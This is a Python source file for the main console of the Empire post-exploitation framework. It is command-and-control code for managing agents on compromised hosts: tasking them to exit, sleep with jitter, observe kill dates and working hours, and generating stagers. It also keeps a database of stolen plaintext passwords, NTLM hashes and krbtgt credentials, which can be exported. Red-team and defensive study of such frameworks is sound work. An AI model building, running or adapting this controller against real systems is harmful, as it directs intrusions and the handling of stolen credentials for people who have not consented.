text:
"""

The main controller class for Empire.

This is what's launched from ./empire.
Contains the Main, Listener, Agents, Agent, and Module
menu loops.

"""

# make version for Empire
VERSION = "1.6.0"

import sys
import cmd
import sqlite3
import os
import hashlib
import time
# import traceback
from pydispatch import dispatcher

# Empire imports
import helpers
# import http
# import encryption
# import packets
import messages
import agents
import listeners
import modules
import stagers
import credentials

# custom exceptions used for nested menu navigation
class NavMain(Exception):
    """
    Custom exception class used to navigate to the 'main' menu.
    """
    pass

class NavAgents(Exception):
    """
    Custom exception class used to navigate to the 'agents' menu.
    """
    pass

class NavListeners(Exception):
    """
    Custom exception class used to navigate to the 'listeners' menu.
    """
    pass

class MainMenu(cmd.Cmd):
    """
    The main class used by Empire to drive the 'main' menu
    displayed when Empire starts.
    """
    def __init__(self, args=None, restAPI=False):

        cmd.Cmd.__init__(self)

        # globalOptions[optionName] = (value, required, description)
        self.globalOptions = {}

        # empty database object
        self.conn = self.database_connect()

        # pull out some common configuration information
        (self.installPath, self.stage0, self.stage1, self.stage2, self.ipWhiteList, self.ipBlackList) = helpers.get_config('install_path,stage0_uri,stage1_uri,stage2_uri,ip_whitelist,ip_blacklist')

        # instantiate the agents, listeners, and stagers objects
        self.agents = agents.Agents(self, args=args)
        self.listeners = listeners.Listeners(self, args=args)
        self.stagers = stagers.Stagers(self, args=args)
        self.modules = modules.Modules(self, args=args)
        self.credentials = credentials.Credentials(self, args=args)

        # make sure all the references are passed after instantiation
        self.agents.listeners = self.listeners
        self.agents.modules = self.modules
        self.agents.stagers = self.stagers
        self.listeners.modules = self.modules
        self.listeners.stagers = self.stagers
        self.modules.stagers = self.stagers

        # change the default prompt for the user
        self.prompt = "(Empire) > "
        self.do_help.__func__.__doc__ = '''Displays the help menu.'''
        self.doc_header = 'Commands'

        dispatcher.connect(self.handle_event, sender=dispatcher.Any)

        # Main, Agents, or Listeners
        self.menu_state = "Main"

        # parse/handle any passed command line arguments
        self.args = args
        self.handle_args()

        # start everything up normally if the RESTful API isn't being launched
        if not restAPI:
            self.startup()

    def handle_args(self):
        """
        Handle any passed arguments.
        """

        if self.args.listener or self.args.stager:
            # if we're displaying listeners/stagers or generating a stager
            if self.args.listener:
                if self.args.listener == 'list':
                    activeListeners = self.listeners.get_listeners()
                    messages.display_listeners(activeListeners)
                else:
                    activeListeners = self.listeners.get_listeners()
                    targetListener = [l for l in activeListeners if self.args.listener in l[1]]

                    if targetListener:
                        targetListener = targetListener[0]
                        messages.display_listener_database(targetListener)
                    else:
                        print helpers.color("\n[!] No active listeners with name '%s'\n" % (self.args.listener))

            else:
                if self.args.stager == 'list':
                    print "\nStagers:\n"
                    print "  Name             Description"
                    print "  ----             -----------"
                    for stagerName, stager in self.stagers.stagers.iteritems():
                        print "  %s%s" % ('{0: <17}'.format(stagerName), stager.info['Description'])
                    print "\n"
                else:
                    stagerName = self.args.stager
                    try:
                        targetStager = self.stagers.stagers[stagerName]
                        menu = StagerMenu(self, stagerName)

                        if self.args.stager_options:
                            for option in self.args.stager_options:
                                if '=' not in option:
                                    print helpers.color("\n[!] Invalid option: '%s'" % (option))
                                    print helpers.color("[!] Please use Option=Value format\n")
                                    if self.conn:
                                        self.conn.close()
                                    sys.exit()

                                # split the passed stager options by = and set the appropriate option
                                optionName, optionValue = option.split('=')
                                menu.do_set("%s %s" % (optionName, optionValue))

                            # generate the stager
                            menu.do_generate('')

                        else:
                            messages.display_stager(targetStager)

                    except Exception as e:
                        print e
                        print helpers.color("\n[!] No current stager with name '%s'\n" % (stagerName))

            # shutdown the database connection object
            if self.conn:
                self.conn.close()

            sys.exit()

    def startup(self):
        """
        Kick off all initial startup actions.
        """

        self.database_connect()

        # restart any listeners currently in the database
        self.listeners.start_existing_listeners()

        dispatcher.send("[*] Empire starting up...", sender="Empire")

    def shutdown(self):
        """
        Perform any shutdown actions.
        """

        print "\n" + helpers.color("[!] Shutting down...\n")
        # self.server.shutdown()
        dispatcher.send("[*] Empire shutting down...", sender="Empire")

        # enumerate all active servers/listeners and shut them down
        self.listeners.shutdownall()

        # shutdown the database connection object
        if self.conn:
            self.conn.close()

    def database_connect(self):
        """
        Connect to the default database at ./data/empire.db.
        """
        try:
            # set the database connectiont to autocommit w/ isolation level
            self.conn = sqlite3.connect('./data/empire.db', check_same_thread=False)
            self.conn.text_factory = str
            self.conn.isolation_level = None
            return self.conn

        except Exception:
            print helpers.color("[!] Could not connect to database")
            print helpers.color("[!] Please run database_setup.py")
            sys.exit()

    # def preloop(self):
    #     traceback.print_stack()

    def cmdloop(self):
        while True:
            try:
                if self.menu_state == "Agents":
                    self.do_agents("")
                elif self.menu_state == "Listeners":
                    self.do_listeners("")
                else:
                    # display the main title
                    messages.title(VERSION)

                    # get active listeners, agents, and loaded modules
                    num_agents = self.agents.get_agents()
                    if num_agents:
                        num_agents = len(num_agents)
                    else:
                        num_agents = 0

                    num_modules = self.modules.modules
                    if num_modules:
                        num_modules = len(num_modules)
                    else:
                        num_modules = 0

                    num_listeners = self.listeners.get_listeners()
                    if num_listeners:
                        num_listeners = len(num_listeners)
                    else:
                        num_listeners = 0

                    print "       " + helpers.color(str(num_modules), "green") + " modules currently loaded\n"
                    print "       " + helpers.color(str(num_listeners), "green") + " listeners currently active\n"
                    print "       " + helpers.color(str(num_agents), "green") + " agents currently active\n\n"

                    cmd.Cmd.cmdloop(self)

            # handle those pesky ctrl+c's
            except KeyboardInterrupt as e:
                self.menu_state = "Main"
                try:
                    choice = raw_input(helpers.color("\n[>] Exit? [y/N] ", "red"))
                    if choice.lower() != "" and choice.lower()[0] == "y":
                        self.shutdown()
                        return True
                    else:
                        continue
                except KeyboardInterrupt as e:
                    continue

            # exception used to signal jumping to "Main" menu
            except NavMain as e:
                self.menu_state = "Main"

            # exception used to signal jumping to "Agents" menu
            except NavAgents as e:
                self.menu_state = "Agents"

            # exception used to signal jumping to "Listeners" menu
            except NavListeners as e:
                self.menu_state = "Listeners"

            except Exception as e:
                print helpers.color("[!] Exception: %s" % (e))
                time.sleep(5)

    # print a nicely formatted help menu
    # stolen/adapted from recon-ng
    def print_topics(self, header, commands, cmdlen, maxcol):
        if commands:
            self.stdout.write("%s\n" % str(header))
            if self.ruler:
                self.stdout.write("%s\n" % str(self.ruler * len(header)))
            for command in commands:
                self.stdout.write("%s %s\n" % (command.ljust(17), getattr(self, 'do_' + command).__doc__))
            self.stdout.write("\n")

    def emptyline(self):
        pass

    def handle_event(self, signal, sender):
        """
        Default event handler.

        Signal Senders:
            Empire          -   the main Empire controller (this file)
            Agents          -   the Agents handler
            Listeners       -   the Listeners handler
            HttpHandler     -   the HTTP handler
            EmpireServer    -   the Empire HTTP server
        """

        # if --debug X is passed, log out all dispatcher signals
        if self.args.debug:

            debug_file = open("empire.debug", 'a')
            debug_file.write(helpers.get_datetime() + " " + sender + " : " + signal + "\n")
            debug_file.close()

            if self.args.debug == '2':
                # if --debug 2, also print the output to the screen
                print " " + sender + " : " + signal

        # display specific signals from the agents.
        if sender == "Agents":
            if "[+] Initial agent" in signal:
                print helpers.color(signal)

            elif "[!] Agent" in signal and "exiting" in signal:
                print helpers.color(signal)

            elif "WARNING" in signal or "attempted overwrite" in signal:
                print helpers.color(signal)

            elif "on the blacklist" in signal:
                print helpers.color(signal)

        elif sender == "EmpireServer":
            if "[!] Error starting listener" in signal:
                print helpers.color(signal)

        elif sender == "Listeners":
            print helpers.color(signal)

    ###################################################
    # CMD methods
    ###################################################

    def default(self, line):
        pass

    def do_exit(self, line):
        "Exit Empire"
        raise KeyboardInterrupt

    def do_agents(self, line):
        "Jump to the Agents menu."
        try:
            agents_menu = AgentsMenu(self)
            agents_menu.cmdloop()
        except Exception as e:
            raise e

    def do_listeners(self, line):
        "Interact with active listeners."
        try:
            listener_menu = ListenerMenu(self)
            listener_menu.cmdloop()
        except Exception as e:
            raise e

    def do_usestager(self, line):
        "Use an Empire stager."

        try:
            parts = line.split(" ")

            if parts[0] not in self.stagers.stagers:
                print helpers.color("[!] Error: invalid stager module")

            elif len(parts) == 1:
                stager_menu = StagerMenu(self, parts[0])
                stager_menu.cmdloop()
            elif len(parts) == 2:
                listener = parts[1]
                if not self.listeners.is_listener_valid(listener):
                    print helpers.color("[!] Please enter a valid listener name or ID")
                else:
                    self.stagers.set_stager_option('Listener', listener)
                    stager_menu = StagerMenu(self, parts[0])
                    stager_menu.cmdloop()
            else:
                print helpers.color("[!] Error in MainMenu's do_userstager()")

        except Exception as e:
            raise e

    def do_usemodule(self, line):
        "Use an Empire module."
        if line not in self.modules.modules:
            print helpers.color("[!] Error: invalid module")
        else:
            try:
                module_menu = ModuleMenu(self, line)
                module_menu.cmdloop()
            except Exception as e:
                raise e

    def do_searchmodule(self, line):
        "Search Empire module names/descriptions."
        self.modules.search_modules(line.strip())

    def do_creds(self, line):
        "Add/display credentials to/from the database."

        filterTerm = line.strip()

        if filterTerm == "":
            creds = self.credentials.get_credentials()

        elif filterTerm.split()[0].lower() == "add":

            # add format: "domain username password <notes> <credType> <sid>
            args = filterTerm.split()[1:]

            if len(args) == 3:
                domain, username, password = args
                if helpers.validate_ntlm(password):
                    # credtype, domain, username, password, host, sid="", notes=""):
                    self.credentials.add_credential("hash", domain, username, password, "")
                else:
                    self.credentials.add_credential("plaintext", domain, username, password, "")

            elif len(args) == 4:
                domain, username, password, notes = args
                if helpers.validate_ntlm(password):
                    self.credentials.add_credential("hash", domain, username, password, "", notes=notes)
                else:
                    self.credentials.add_credential("plaintext", domain, username, password, "", notes=notes)

            elif len(args) == 5:
                domain, username, password, notes, credType = args
                self.credentials.add_credential(credType, domain, username, password, "", notes=notes)

            elif len(args) == 6:
                domain, username, password, notes, credType, sid = args
                self.credentials.add_credential(credType, domain, username, password, "", sid=sid, notes=notes)

            else:
                print helpers.color("[!] Format is 'add domain username password <notes> <credType> <sid>")
                return

            creds = self.credentials.get_credentials()

        elif filterTerm.split()[0].lower() == "remove":

            try:
                args = filterTerm.split()[1:]
                if len(args) != 1:
                    print helpers.color("[!] Format is 'remove <credID>/<credID-credID>/all'")
                else:
                    if args[0].lower() == "all":
                        choice = raw_input(helpers.color("[>] Remove all credentials from the database? [y/N] ", "red"))
                        if choice.lower() != "" and choice.lower()[0] == "y":
                            self.credentials.remove_all_credentials()
                    else:
                        if "," in args[0]:
                            credIDs = args[0].split(",")
                            self.credentials.remove_credentials(credIDs)
                        elif "-" in args[0]:
                            parts = args[0].split("-")
                            credIDs = [x for x in xrange(int(parts[0]), int(parts[1]) + 1)]
                            self.credentials.remove_credentials(credIDs)
                        else:
                            self.credentials.remove_credentials(args)

            except Exception:
                print helpers.color("[!] Error in remove command parsing.")
                print helpers.color("[!] Format is 'remove <credID>/<credID-credID>/all'")

            return

        elif filterTerm.split()[0].lower() == "export":
            args = filterTerm.split()[1:]

            if len(args) != 1:
                print helpers.color("[!] Please supply an output filename/filepath.")
                return
            else:
                self.credentials.export_credentials(args[0])
                return

        elif filterTerm.split()[0].lower() == "plaintext":
            creds = self.credentials.get_credentials(credtype="plaintext")

        elif filterTerm.split()[0].lower() == "hash":
            creds = self.credentials.get_credentials(credtype="hash")

        elif filterTerm.split()[0].lower() == "krbtgt":
            creds = self.credentials.get_krbtgt()

        else:
            creds = self.credentials.get_credentials(filterTerm=filterTerm)

        messages.display_credentials(creds)

    def do_set(self, line):
        "Set a global option (e.g. IP whitelists)."

        parts = line.split(" ")
        if len(parts) == 1:
            print helpers.color("[!] Please enter 'IP,IP-IP,IP/CIDR' or a file path.")
        else:
            if parts[0].lower() == "ip_whitelist":
                if parts[1] != "" and os.path.exists(parts[1]):
                    try:
                        open_file = open(parts[1], 'r')
                        ipData = open_file.read()
                        open_file.close()
                        self.agents.ipWhiteList = helpers.generate_ip_list(ipData)
                    except Exception:
                        print helpers.color("[!] Error opening ip file %s" % (parts[1]))
                else:
                    self.agents.ipWhiteList = helpers.generate_ip_list(",".join(parts[1:]))
            elif parts[0].lower() == "ip_blacklist":
                if parts[1] != "" and os.path.exists(parts[1]):
                    try:
                        open_file = open(parts[1], 'r')
                        ipData = open_file.read()
                        open_file.close()
                        self.agents.ipBlackList = helpers.generate_ip_list(ipData)
                    except Exception:
                        print helpers.color("[!] Error opening ip file %s" % (parts[1]))
                else:
                    self.agents.ipBlackList = helpers.generate_ip_list(",".join(parts[1:]))
            else:
                print helpers.color("[!] Please choose 'ip_whitelist' or 'ip_blacklist'")

    def do_reset(self, line):
        "Reset a global option (e.g. IP whitelists)."

        if line.strip().lower() == "ip_whitelist":
            self.agents.ipWhiteList = None
        if line.strip().lower() == "ip_blacklist":
            self.agents.ipBlackList = None

    def do_show(self, line):
        "Show a global option (e.g. IP whitelists)."

        if line.strip().lower() == "ip_whitelist":
            print self.agents.ipWhiteList
        if line.strip().lower() == "ip_blacklist":
            print self.agents.ipBlackList

    def do_load(self, line):
        "Loads Empire modules from a non-standard folder."

        if line.strip() == '' or not os.path.isdir(line.strip()):
            print "\n" + helpers.color("[!] Please specify a valid folder to load modules from.") + "\n"
        else:
            self.modules.load_modules(rootPath=line.strip())

    def do_reload(self, line):
        "Reload one (or all) Empire modules."

        if line.strip().lower() == "all":
            # reload all modules
            print "\n" + helpers.color("[*] Reloading all modules.") + "\n"
            self.modules.load_modules()
        elif os.path.isdir(line.strip()):
            # if we're loading an external directory
            self.modules.load_modules(rootPath=line.strip())
        else:
            if line.strip() not in self.modules.modules:
                print helpers.color("[!] Error: invalid module")
            else:
                print "\n" + helpers.color("[*] Reloading module: " + line) + "\n"
                self.modules.reload_module(line)

    def do_list(self, line):
        "Lists active agents or listeners."

        parts = line.split(" ")

        if parts[0].lower() == "agents":

            line = " ".join(parts[1:])
            all_agents = self.agents.get_agents()

            if line.strip().lower() == "stale":

                agents_to_display = []

                for agent in all_agents:

                    # max check in -> delay + delay*jitter
                    intervalMax = (agent[4] + agent[4] * agent[5]) + 30

                    # get the agent last check in time
                    agent_time = time.mktime(time.strptime(agent[16], "%Y-%m-%d %H:%M:%S"))
                    if agent_time < time.mktime(time.localtime()) - intervalMax:
                        # if the last checkin time exceeds the limit, remove it
                        agents_to_display.append(agent)

                messages.display_staleagents(agents_to_display)

            elif line.strip() != "":
                # if we're listing an agents active in the last X minutes
                try:
                    minutes = int(line.strip())

                    # grab just the agents active within the specified window (in minutes)
                    agents_to_display = []
                    for agent in all_agents:
                        agent_time = time.mktime(time.strptime(agent[16], "%Y-%m-%d %H:%M:%S"))

                        if agent_time > time.mktime(time.localtime()) - (int(minutes) * 60):
                            agents_to_display.append(agent)

                    messages.display_agents(agents_to_display)

                except Exception:
                    print helpers.color("[!] Please enter the minute window for agent checkin.")

            else:
                messages.display_agents(all_agents)

        elif parts[0].lower() == "listeners":

            messages.display_listeners(self.listeners.get_listeners())

    def do_interact(self, line):
        "Interact with a particular agent."

        name = line.strip()

        if name != "" and self.agents.is_agent_present(name):
            # resolve the passed name to a sessionID
            sessionID = self.agents.get_agent_id(name)

            agent_menu = AgentMenu(self, sessionID)
            agent_menu.cmdloop()
        else:
            print helpers.color("[!] Please enter a valid agent name")

    def complete_usemodule(self, text, line, begidx, endidx):
        "Tab-complete an Empire PowerShell module path."

        module_names = self.modules.modules.keys()

        mline = line.partition(' ')[2]
        offs = len(mline) - len(text)
        return [s[offs:] for s in module_names if s.startswith(mline)]

    def complete_reload(self, text, line, begidx, endidx):
        "Tab-complete an Empire PowerShell module path."

        module_names = self.modules.modules.keys() + ["all"]

        mline = line.partition(' ')[2]
        offs = len(mline) - len(text)
        return [s[offs:] for s in module_names if s.startswith(mline)]

    def complete_usestager(self, text, line, begidx, endidx):
        "Tab-complete an Empire stager module path."

        stager_names = self.stagers.stagers.keys()

        if (line.split(" ")[1].lower() in stager_names) and line.endswith(" "):
            # if we already have a stager name, tab-complete listener names
            listener_names = self.listeners.get_listener_names()

            end_line = " ".join(line.split(" ")[1:])
            mline = end_line.partition(' ')[2]
            offs = len(mline) - len(text)
            return [s[offs:] for s in listener_names if s.startswith(mline)]
        else:
            # otherwise tab-complate the stager names
            mline = line.partition(' ')[2]
            offs = len(mline) - len(text)
            return [s[offs:] for s in stager_names if s.startswith(mline)]

    def complete_set(self, text, line, begidx, endidx):
        "Tab-complete a global option."

        options = ["ip_whitelist", "ip_blacklist"]

        if line.split(" ")[1].lower() in options:
            return helpers.complete_path(text, line, arg=True)

        mline = line.partition(' ')[2]
        offs = len(mline) - len(text)
        return [s[offs:] for s in options if s.startswith(mline)]

    def complete_load(self, text, line, begidx, endidx):
        "Tab-complete a module load path."
        return helpers.complete_path(text, line)

    def complete_reset(self, text, line, begidx, endidx):
        "Tab-complete a global option."

        return self.complete_set(text, line, begidx, endidx)

    def complete_show(self, text, line, begidx, endidx):
        "Tab-complete a global option."

        return self.complete_set(text, line, begidx, endidx)

    def complete_creds(self, text, line, begidx, endidx):
        "Tab-complete 'creds' commands."

        commands = ["add", "remove", "export", "hash", "plaintext", "krbtgt"]

        mline = line.partition(' ')[2]
        offs = len(mline) - len(text)
        return [s[offs:] for s in commands if s.startswith(mline)]

    def complete_interact(self, text, line, begidx, endidx):
        "Tab-complete an interact command"

        names = self.agents.get_agent_names()

        mline = line.partition(' ')[2]
        offs = len(mline) - len(text)
        return [s[offs:] for s in names if s.startswith(mline)]

class AgentsMenu(cmd.Cmd):
    """
    The main class used by Empire to drive the 'agents' menu.
    """
    def __init__(self, mainMenu):
        cmd.Cmd.__init__(self)

        self.mainMenu = mainMenu

        self.doc_header = 'Commands'

        # set the prompt text
        self.prompt = '(Empire: ' + helpers.color("agents", color="blue") + ') > '

        messages.display_agents(self.mainMenu.agents.get_agents())

    # def preloop(self):
    #     traceback.print_stack()

    # print a nicely formatted help menu
    #   stolen/adapted from recon-ng
    def print_topics(self, header, commands, cmdlen, maxcol):
        if commands:
            self.stdout.write("%s\n" % str(header))
            if self.ruler:
                self.stdout.write("%s\n" % str(self.ruler * len(header)))
            for command in commands:
                self.stdout.write("%s %s\n" % (command.ljust(17), getattr(self, 'do_' + command).__doc__))
            self.stdout.write("\n")

    def emptyline(self):
        pass

    def do_back(self, line):
        "Go back to the main menu."
        raise NavMain()

    def do_listeners(self, line):
        "Jump to the listeners menu."
        raise NavListeners()

    def do_main(self, line):
        "Go back to the main menu."
        raise NavMain()

    def do_exit(self, line):
        "Exit Empire."
        raise KeyboardInterrupt

    def do_list(self, line):
        "Lists all active agents (or listeners)."

        if line.lower().startswith("listeners"):
            self.mainMenu.do_list("listeners " + str(" ".join(line.split(" ")[1:])))
        elif line.lower().startswith("agents"):
            self.mainMenu.do_list("agents " + str(" ".join(line.split(" ")[1:])))
        else:
            self.mainMenu.do_list("agents " + str(line))

    def do_rename(self, line):
        "Rename a particular agent."

        parts = line.strip().split(" ")

        # name sure we get an old name and new name for the agent
        if len(parts) == 2:
            # replace the old name with the new name
            self.mainMenu.agents.rename_agent(parts[0], parts[1])
        else:
            print helpers.color("[!] Please enter an agent name and new name")

    def do_interact(self, line):
        "Interact with a particular agent."

        name = line.strip()

        if name != "" and self.mainMenu.agents.is_agent_present(name):
            # resolve the passed name to a sessionID
            sessionID = self.mainMenu.agents.get_agent_id(name)

            agent_menu = AgentMenu(self.mainMenu, sessionID)
            agent_menu.cmdloop()
        else:
            print helpers.color("[!] Please enter a valid agent name")

    def do_kill(self, line):
        "Task one or more agents to exit."

        name = line.strip()

        if name.lower() == "all":
            try:
                choice = raw_input(helpers.color("[>] Kill all agents? [y/N] ", "red"))
                if choice.lower() != "" and choice.lower()[0] == "y":
                    all_agents = self.mainMenu.agents.get_agents()
                    for agent in all_agents:
                        sessionID = agent[1]
                        self.mainMenu.agents.add_agent_task(sessionID, "TASK_EXIT")
            except KeyboardInterrupt:
                print ""

        else:
            # extract the sessionID and clear the agent tasking
            sessionID = self.mainMenu.agents.get_agent_id(name)

            if sessionID and len(sessionID) != 0:
                self.mainMenu.agents.add_agent_task(sessionID, "TASK_EXIT")
            else:
                print helpers.color("[!] Invalid agent name")

    def do_creds(self, line):
        "Display/return credentials from the database."
        self.mainMenu.do_creds(line)

    def do_clear(self, line):
        "Clear one or more agent's taskings."

        name = line.strip()

        if name.lower() == "all":
            self.mainMenu.agents.clear_agent_tasks("all")
        elif name.lower() == "autorun":
            self.mainMenu.agents.clear_autoruns()
        else:
            # extract the sessionID and clear the agent tasking
            sessionID = self.mainMenu.agents.get_agent_id(name)

            if sessionID and len(sessionID) != 0:
                self.mainMenu.agents.clear_agent_tasks(sessionID)
            else:
                print helpers.color("[!] Invalid agent name")

    def do_sleep(self, line):
        "Task one or more agents to 'sleep [agent/all] interval [jitter]'"

        parts = line.strip().split(" ")

        if len(parts) == 1:
            print helpers.color("[!] Please enter 'interval [jitter]'")

        elif parts[0].lower() == "all":
            delay = parts[1]
            jitter = 0.0
            if len(parts) == 3:
                jitter = parts[2]

            all_agents = self.mainMenu.agents.get_agents()

            for agent in all_agents:
                sessionID = agent[1]
                # update this agent info in the database
                self.mainMenu.agents.set_agent_field("delay", delay, sessionID)
                self.mainMenu.agents.set_agent_field("jitter", jitter, sessionID)
                # task the agent
                self.mainMenu.agents.add_agent_task(sessionID, "TASK_SHELL", "Set-Delay " + str(delay) + " " + str(jitter))
                # update the agent log
                msg = "Tasked agent to delay sleep/jitter " + str(delay) + "/" + str(jitter)
                self.mainMenu.agents.save_agent_log(sessionID, msg)

        else:
            # extract the sessionID and clear the agent tasking
            sessionID = self.mainMenu.agents.get_agent_id(parts[0])

            delay = parts[1]
            jitter = 0.0
            if len(parts) == 3:
                jitter = parts[2]

            if sessionID and len(sessionID) != 0:
                # update this agent's information in the database
                self.mainMenu.agents.set_agent_field("delay", delay, sessionID)
                self.mainMenu.agents.set_agent_field("jitter", jitter, sessionID)

                self.mainMenu.agents.add_agent_task(sessionID, "TASK_SHELL", "Set-Delay " + str(delay) + " " + str(jitter))
                # update the agent log
                msg = "Tasked agent to delay sleep/jitter " + str(delay) + "/" + str(jitter)
                self.mainMenu.agents.save_agent_log(sessionID, msg)

            else:
                print helpers.color("[!] Invalid agent name")

    def do_lostlimit(self, line):
        "Task one or more agents to 'lostlimit [agent/all] <#ofCBs> '"

        parts = line.strip().split(" ")

        if len(parts) == 1:
            print helpers.color("[!] Please enter a valid '#ofCBs'")

        elif parts[0].lower() == "all":
            lost_limit = parts[1]
            all_agents = self.mainMenu.agents.get_agents()

            for agent in all_agents:
                sessionID = agent[1]
                # update this agent info in the database
                self.mainMenu.agents.set_agent_field("lost_limit", lost_limit, sessionID)
                # task the agent
                self.mainMenu.agents.add_agent_task(sessionID, "TASK_SHELL", "Set-LostLimit " + str(lost_limit))
                # update the agent log
                msg = "Tasked agent to change lost limit %s" % (lost_limit)
                self.mainMenu.agents.save_agent_log(sessionID, msg)

        else:
            # extract the sessionID and clear the agent tasking
            sessionID = self.mainMenu.agents.get_agent_id(parts[0])

            lost_limit = parts[1]

            if sessionID and len(sessionID) != 0:
                # update this agent's information in the database
                self.mainMenu.agents.set_agent_field("lost_limit", lost_limit, sessionID)

                self.mainMenu.agents.add_agent_task(sessionID, "TASK_SHELL", "Set-LostLimit " + str(lost_limit))
                # update the agent log
                msg = "Tasked agent to change lost limit %s" % (lost_limit)
                self.mainMenu.agents.save_agent_log(sessionID, msg)

            else:
                print helpers.color("[!] Invalid agent name")

    def do_killdate(self, line):
        "Set the killdate for one or more agents (killdate [agent/all] 01/01/2016)."

        parts = line.strip().split(" ")

        if len(parts) == 1:
            print helpers.color("[!] Please enter date in form 01/01/2016")

        elif parts[0].lower() == "all":
            date = parts[1]

            all_agents = self.mainMenu.agents.get_agents()

            for agent in all_agents:
                sessionID = agent[1]
                # update this agent's field in the database
                self.mainMenu.agents.set_agent_field("kill_date", date, sessionID)
                # task the agent
                self.mainMenu.agents.add_agent_task(sessionID, "TASK_SHELL", "Set-KillDate " + str(date))
                msg = "Tasked agent to set killdate to " + str(date)
                self.mainMenu.agents.save_agent_log(sessionID, msg)

        else:
            # extract the sessionID and clear the agent tasking
            sessionID = self.mainMenu.agents.get_agent_id(parts[0])

            date = parts[1]

            if sessionID and len(sessionID) != 0:
                # update this agent's field in the database
                self.mainMenu.agents.set_agent_field("kill_date", date, sessionID)
                # task the agent
                self.mainMenu.agents.add_agent_task(sessionID, "TASK_SHELL", "Set-KillDate " + str(date))
                # update the agent log
                msg = "Tasked agent to set killdate to " + str(date)
                self.mainMenu.agents.save_agent_log(sessionID, msg)

            else:
                print helpers.color("[!] Invalid agent name")

    def do_workinghours(self, line):
        "Set the workinghours for one or more agents (workinghours [agent/all] 9:00-17:00)."

        parts = line.strip().split(" ")

        if len(parts) == 1:
            print helpers.color("[!] Please enter hours in the form '9:00-17:00'")

        elif parts[0].lower() == "all":
            hours = parts[1]
            hours = hours.replace(",", "-")

            all_agents = self.mainMenu.agents.get_agents()

            for agent in all_agents:
                sessionID = agent[1]
                # update this agent's field in the database
                self.mainMenu.agents.set_agent_field("working_hours", hours, sessionID)
                # task the agent
                self.mainMenu.agents.add_agent_task(sessionID, "TASK_SHELL", "Set-WorkingHours " + str(hours))
                msg = "Tasked agent to set working hours to %s" % (hours)
                self.mainMenu.agents.save_agent_log(sessionID, msg)

        else:
            # extract the sessionID and clear the agent tasking
            sessionID = self.mainMenu.agents.get_agent_id(parts[0])

            hours = parts[1]
            hours = hours.replace(",", "-")

            if sessionID and len(sessionID) != 0:
                # update this agent's field in the database
                self.mainMenu.agents.set_agent_field("working_hours", hours, sessionID)
                # task the agent
                self.mainMenu.agents.add_agent_task(sessionID, "TASK_SHELL", "Set-WorkingHours " + str(hours))

                # update the agent log
                msg = "Tasked agent to set working hours to " + str(hours)
                self.mainMenu.agents.save_agent_log(sessionID, msg)

            else:
                print helpers.color("[!] Invalid agent name")

    def do_remove(self, line):
        "Remove one or more agents from the database."

        name = line.strip()

        if name.lower() == "all":
            try:
                choice = raw_input(helpers.color("[>] Remove all agents from the database? [y/N] ", "red"))
                if choice.lower() != "" and choice.lower()[0] == "y":
                    self.mainMenu.agents.remove_agent('%')
            except KeyboardInterrupt:
                print ""

        elif name.lower() == "stale":
            # remove 'stale' agents that have missed their checkin intervals

            all_agents = self.mainMenu.agents.get_agents()

            for agent in all_agents:

                sessionID = self.mainMenu.agents.get_agent_id(agent[3])

                # max check in -> delay + delay*jitter
                interval_max = (agent[4] + agent[4] * agent[5]) + 30

                # get the agent last check in time
                agent_time = time.mktime(time.strptime(agent[16], "%Y-%m-%d %H:%M:%S"))

                if agent_time < time.mktime(time.localtime()) - interval_max:
                    # if the last checkin time exceeds the limit, remove it
                    self.mainMenu.agents.remove_agent(sessionID)

        elif name.isdigit():
            # if we're removing agents that checked in longer than X minutes ago
            all_agents = self.mainMenu.agents.get_agents()

            try:
                minutes = int(line.strip())

                # grab just the agents active within the specified window (in minutes)
                for agent in all_agents:

                    sessionID = self.mainMenu.agents.get_agent_id(agent[3])

                    # get the agent last check in time
                    agentTime = time.mktime(time.strptime(agent[16], "%Y-%m-%d %H:%M:%S"))

                    if agentTime < time.mktime(time.localtime()) - (int(minutes) * 60):
                        # if the last checkin time exceeds the limit, remove it
                        self.mainMenu.agents.remove_agent(sessionID)

            except:
                print helpers.color("[!] Please enter the minute window for agent checkin.")

        else:
            # extract the sessionID and clear the agent tasking
            sessionID = self.mainMenu.agents.get_agent_id(name)

            if sessionID and len(sessionID) != 0:
                self.mainMenu.agents.remove_agent(sessionID)
            else:
                print helpers.color("[!] Invalid agent name")

    def do_usestager(self, line):
        "Use an Empire stager."

        parts = line.split(" ")

        if parts[0] not in self.mainMenu.stagers.stagers:
            print helpers.color("[!] Error: invalid stager module")

        elif len(parts) == 1:
            stager_menu = StagerMenu(self.mainMenu, parts[0])
            stager_menu.cmdloop()
        elif len(parts) == 2:
            listener = parts[1]
            if not self.mainMenu.listeners.is_listener_valid(listener):
                print helpers.color("[!] Please enter a valid listener name or ID")
            else:
                self.mainMenu.stagers.set_stager_option('Listener', listener)
                stager_menu = StagerMenu(self.mainMenu, parts[0])
                stager_menu.cmdloop()
        else:
            print helpers.color("[!] Error in AgentsMenu's do_userstager()")

    def do_usemodule(self, line):
        "Use an Empire PowerShell module."

        module = line.strip()

        if module not in self.mainMenu.modules.modules:
            print helpers.color("[!] Error: invalid module")
        else:
            # set agent to "all"
            module_menu = ModuleMenu(self.mainMenu, line, agent="all")
            module_menu.cmdloop()

    def do_searchmodule(self, line):
        "Search Empire module names/descriptions."

        searchTerm = line.strip()

        if searchTerm.strip() == "":
            print helpers.color("[!] Please enter a search term.")
        else:
            self.mainMenu.modules.search_modules(searchTerm)

    def complete_interact(self, text, line, begidx, endidx):
        "Tab-complete an interact command"

        names = self.mainMenu.agents.get_agent_names()

        mline = line.partition(' ')[2]
        offs = len(mline) - len(text)
        return [s[offs:] for s in names if s.startswith(mline)]

    def complete_rename(self, text, line, begidx, endidx):
        "Tab-complete a rename command"

        return self.complete_interact(text, line, begidx, endidx)

    def complete_clear(self, text, line, begidx, endidx):
        "Tab-complete a clear command"

        names = self.mainMenu.agents.get_agent_names() + ["all", "autorun"]
        mline = line.partition(' ')[2]
        offs = len(mline) - len(text)
        return [s[offs:] for s in names if s.startswith(mline)]

    def complete_remove(self, text, line, begidx, endidx):
        "Tab-complete a remove command"

        names = self.mainMenu.agents.get_agent_names() + ["all", "stale"]
        mline = line.partition(' ')[2]
        offs = len(mline) - len(text)
        return [s[offs:] for s in names if s.startswith(mline)]

    def complete_list(self, text, line, begidx, endidx):
        "Tab-complete a list command"

        options = ["stale"]
        mline = line.partition(' ')[2]
        offs = len(mline) - len(text)
        return [s[offs:] for s in options if s.startswith(mline)]

    def complete_kill(self, text, line, begidx, endidx):
        "Tab-complete a kill command"

        return self.complete_clear(text, line, begidx, endidx)

